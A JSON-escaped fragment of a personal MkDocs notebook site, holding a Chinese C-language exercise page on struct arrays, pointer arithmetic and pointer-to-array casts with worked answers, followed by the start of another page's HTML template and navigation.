class=\"n\">struct</span><span class=\"w\"> </span><span class=\"n\">node</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">char</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">10</span><span class=\"p\">];</span>\n<span class=\"w\">    </span><span class=\"n\">int</span><span class=\"w\"> </span><span class=\"n\">k</span><span class=\"p\">;</span>\n<span class=\"p\">}</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">4</span><span class=\"p\">];</span>\n<span class=\"n\">A</span><span class=\"p\">.</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"o\">-&gt;</span><span class=\"n\">k</span><span class=\"o\">=</span><span class=\"mi\">2</span>\n<span class=\"n\">B</span><span class=\"p\">.</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">].</span><span class=\"n\">s</span><span class=\"o\">=</span><span class=\"s\">&quot;abc&quot;</span><span class=\"p\">;</span>\n<span class=\"n\">C</span><span class=\"p\">.</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">0</span><span class=\"p\">]</span><span class=\"o\">-&gt;</span><span class=\"n\">k</span><span class=\"o\">=</span><span class=\"mi\">2</span><span class=\"p\">;</span>\n<span class=\"n\">D</span><span class=\"p\">.</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"o\">-&gt;</span><span class=\"n\">s</span><span class=\"o\">=</span><span class=\"s\">&#39;a&#39;</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<h4 id=\"_14\">答案<a class=\"headerlink\" href=\"#_14\" title=\"Permanent link\">&para;</a></h4>\n<p>A</p>\n<h4 id=\"_15\">解析<a class=\"headerlink\" href=\"#_15\" title=\"Permanent link\">&para;</a></h4>\n<p><code>p[0].num</code> 与 <code>(*(p+0)).num</code> 等价, 所以 <code>p[0].num</code> 与 <code>(p+0)-&gt;num</code> 等价</p>\n<p>编译一下确实A是可以的</p>\n<p>B选项错在结构体里面的s是一个有内存空间的char数组，<strong>不能把有内存空间的数组名称放到赋值的等号左边</strong> (编译器把数组名称当成常量，编译器这么设计的原因也许是：不然这个内存空间不就弄丢了嘛)</p>\n<p>字符串正确的&rdquo;赋值&rdquo;操作是： </p>\n<div class=\"codehilite\"><pre><span></span><code>strcpy(p[0].s,&quot;abc&quot;);\n</code></pre></div>\n\n<p>C选项 p[0]是结构，而不是指针，直接写<code>p[0].k=2</code></p>\n<p>D选项 还是相同的道理 <strong>不能把有内存空间的数组名称放到赋值的等号左边</strong></p>\n<p>正确的写法 <code>p-&gt;s[0]='a'</code>, 也可以写 <code>p[0].s[0]='a'</code></p>\n<h4 id=\"_16\">指针，数组各种玩法<a class=\"headerlink\" href=\"#_16\" title=\"Permanent link\">&para;</a></h4>\n<p>如果要写<code>p[1].s[2]='a'</code>, 等价的写法有：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"p\">(</span><span class=\"n\">p</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"o\">-&gt;</span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span><span class=\"o\">=</span><span class=\"s\">&#39;a&#39;</span><span class=\"p\">;</span>\n<span class=\"o\">*</span><span class=\"p\">((</span><span class=\"n\">p</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"o\">-&gt;</span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"p\">)</span><span class=\"o\">=</span><span class=\"s\">&#39;a&#39;</span><span class=\"p\">;</span>\n<span class=\"o\">*</span><span class=\"p\">((</span><span class=\"n\">char</span><span class=\"o\">*</span><span class=\"p\">)</span><span class=\"n\">p</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"o\">*</span><span class=\"nf\">sizeof</span><span class=\"p\">(</span><span class=\"n\">struct</span><span class=\"w\"> </span><span class=\"n\">node</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"p\">)</span><span class=\"o\">=</span><span class=\"s\">&#39;a&#39;</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<p>此代码供你测试：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;stdio.h&gt;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">main</span><span class=\"p\">(){</span>\n<span class=\"w\">    </span><span class=\"k\">struct</span><span class=\"w\"> </span><span class=\"nc\">node</span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"kt\">char</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">10</span><span class=\"p\">];</span>\n<span class=\"w\">        </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">k</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">4</span><span class=\"p\">];</span>\n<span class=\"w\">    </span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">].</span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span><span class=\"o\">=</span><span class=\"sc\">&#39;a&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">printf</span><span class=\"p\">(</span><span class=\"s\">&quot;%c</span><span class=\"se\">\\n</span><span class=\"s\">&quot;</span><span class=\"p\">,</span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">].</span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]);</span>\n<span class=\"w\">    </span><span class=\"p\">(</span><span class=\"n\">p</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"o\">-&gt;</span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]</span><span class=\"o\">=</span><span class=\"sc\">&#39;b&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">printf</span><span class=\"p\">(</span><span class=\"s\">&quot;%c</span><span class=\"se\">\\n</span><span class=\"s\">&quot;</span><span class=\"p\">,</span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">].</span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]);</span>\n<span class=\"w\">    </span><span class=\"o\">*</span><span class=\"p\">((</span><span class=\"n\">p</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"o\">-&gt;</span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"p\">)</span><span class=\"o\">=</span><span class=\"sc\">&#39;c&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">printf</span><span class=\"p\">(</span><span class=\"s\">&quot;%c</span><span class=\"se\">\\n</span><span class=\"s\">&quot;</span><span class=\"p\">,</span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">].</span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]);</span>\n<span class=\"w\">    </span><span class=\"o\">*</span><span class=\"p\">((</span><span class=\"kt\">char</span><span class=\"o\">*</span><span class=\"p\">)</span><span class=\"n\">p</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"o\">*</span><span class=\"k\">sizeof</span><span class=\"p\">(</span><span class=\"k\">struct</span><span class=\"w\"> </span><span class=\"nc\">node</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"p\">)</span><span class=\"o\">=</span><span class=\"sc\">&#39;d&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">printf</span><span class=\"p\">(</span><span class=\"s\">&quot;%c&quot;</span><span class=\"p\">,</span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">].</span><span class=\"n\">s</span><span class=\"p\">[</span><span class=\"mi\">2</span><span class=\"p\">]);</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h3 id=\"_17\">数组的数组<a class=\"headerlink\" href=\"#_17\" title=\"Permanent link\">&para;</a></h3>\n<p>题目：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\"> </span><span class=\"n\">以下程序的输出结果是_________________</span><span class=\"err\">。</span>\n<span class=\"w\">    </span><span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;stdio.h&gt;</span>\n<span class=\"w\">    </span><span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;string.h&gt;</span>\n<span class=\"w\">    </span><span class=\"k\">typedef</span><span class=\"w\"> </span><span class=\"kt\">char</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">AP</span><span class=\"p\">)[</span><span class=\"mi\">5</span><span class=\"p\">];</span>\n<span class=\"w\">    </span><span class=\"n\">AP</span><span class=\"w\"> </span><span class=\"nf\">defy</span><span class=\"p\">(</span><span class=\"kt\">char</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"n\">p</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">       </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"p\">;</span>\n<span class=\"w\">       </span><span class=\"k\">for</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">&lt;</span><span class=\"mi\">3</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"w\">          </span><span class=\"n\">p</span><span class=\"p\">[</span><span class=\"n\">strlen</span><span class=\"p\">(</span><span class=\"n\">p</span><span class=\"p\">)]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"sc\">&#39;A&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">       </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">AP</span><span class=\"p\">)</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"kt\">void</span><span class=\"w\"> </span><span class=\"nf\">main</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">       </span><span class=\"kt\">char</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">[]</span><span class=\"o\">=</span><span class=\"s\">&quot;FROG</span><span class=\"se\">\\0</span><span class=\"s\">SEAL</span><span class=\"se\">\\0</span><span class=\"s\">LION</span><span class=\"se\">\\0</span><span class=\"s\">LAMB&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">       </span><span class=\"n\">puts</span><span class=\"p\">(</span><span class=\"w\"> </span><span class=\"n\">defy</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">)[</span><span class=\"mi\">1</span><span class=\"p\">]</span><span class=\"o\">+</span><span class=\"mi\">2</span><span class=\"w\"> </span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n</code></pre></div>\n\n<p>解答：</p>\n<p>搞清楚指针的类型这个题目就很简单了，另外记住这个公式：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">x</span><span class=\"o\">[</span><span class=\"n\">i</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"o\">+</span><span class=\"n\">i</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>p[strlen(p)] = &lsquo;A&rsquo;; 就是把\\0的地方改成了字符A</p>\n<p>所以我们的a是这样子的：</p>\n<p>从一维数组来看a是 FROGASEALALIONALAMB</p>\n<p>从5字节char的数组的数组来看是 </p>\n<div class=\"codehilite\"><pre><span></span><code>    &quot;FROGA&quot;, //虽然这里写的是字符串，但末尾没有\\0\n    &quot;SEALA&quot;,\n    &quot;LIONA&quot;,\n    &quot;LAMB\\0&quot;\n</code></pre></div>\n\n<p>defy(a)[1]就等价于<code>*(defy(a) +1)</code>，就是<code>*( ((AP)a)+1 +1)</code>，就是((AP)a)[2]</p>\n<p>AP这个类型是指针，指向的元素是 5字节大小的数组，</p>\n<p>所以((AP)a)[2]的类型是<code>char*</code>，指向的是&rdquo;LIONA&rdquo;这个元素</p>\n<p>但是当我们把这个元素当成<code>char*</code>用puts输出的时候，由于末尾没有<code>\\0</code>，所以要继续输出，就是&rdquo;LIONALAMB&rdquo;</p>\n<p>再+2就是要跳过两个字节，得到答案&rdquo;ONALAMB&rdquo;</p>\n<p>举一反三：</p>\n<ol>\n<li>puts(((AP)a)[0])输出啥？假设没有调用defy(a)</li>\n<li>puts(((AP)a)[0])输出啥？假设已经做了defy(a)</li>\n<li>puts(((AP)a)[0]+3)输出啥？假设已经做了defy(a)</li>\n<li>defy(a)[2][1]+1是什么类型？值是多少？</li>\n<li>puts(&amp;defy(a)[2][1])输出啥？</li>\n<li>defy(a)之后再puts(&amp;defy(a)[2][1])输出啥？</li>\n</ol>\n<p>答案：</p>\n<ol>\n<li>FROG</li>\n<li>FROGASEALALIONALAMB</li>\n<li>GASEALALIONALAMB</li>\n<li>char类型 &lsquo;B&rsquo; 这个是char的&rsquo;A&rsquo;再加一</li>\n<li>AMB</li>\n<li>发生了数组越界读写，这是undefined behaviour</li>\n</ol>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/CDN/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../PHP/\">\n      \n      \n        <link rel=\"next\" href=\"../cURL/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>CDN - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#cdn\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              CDN\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        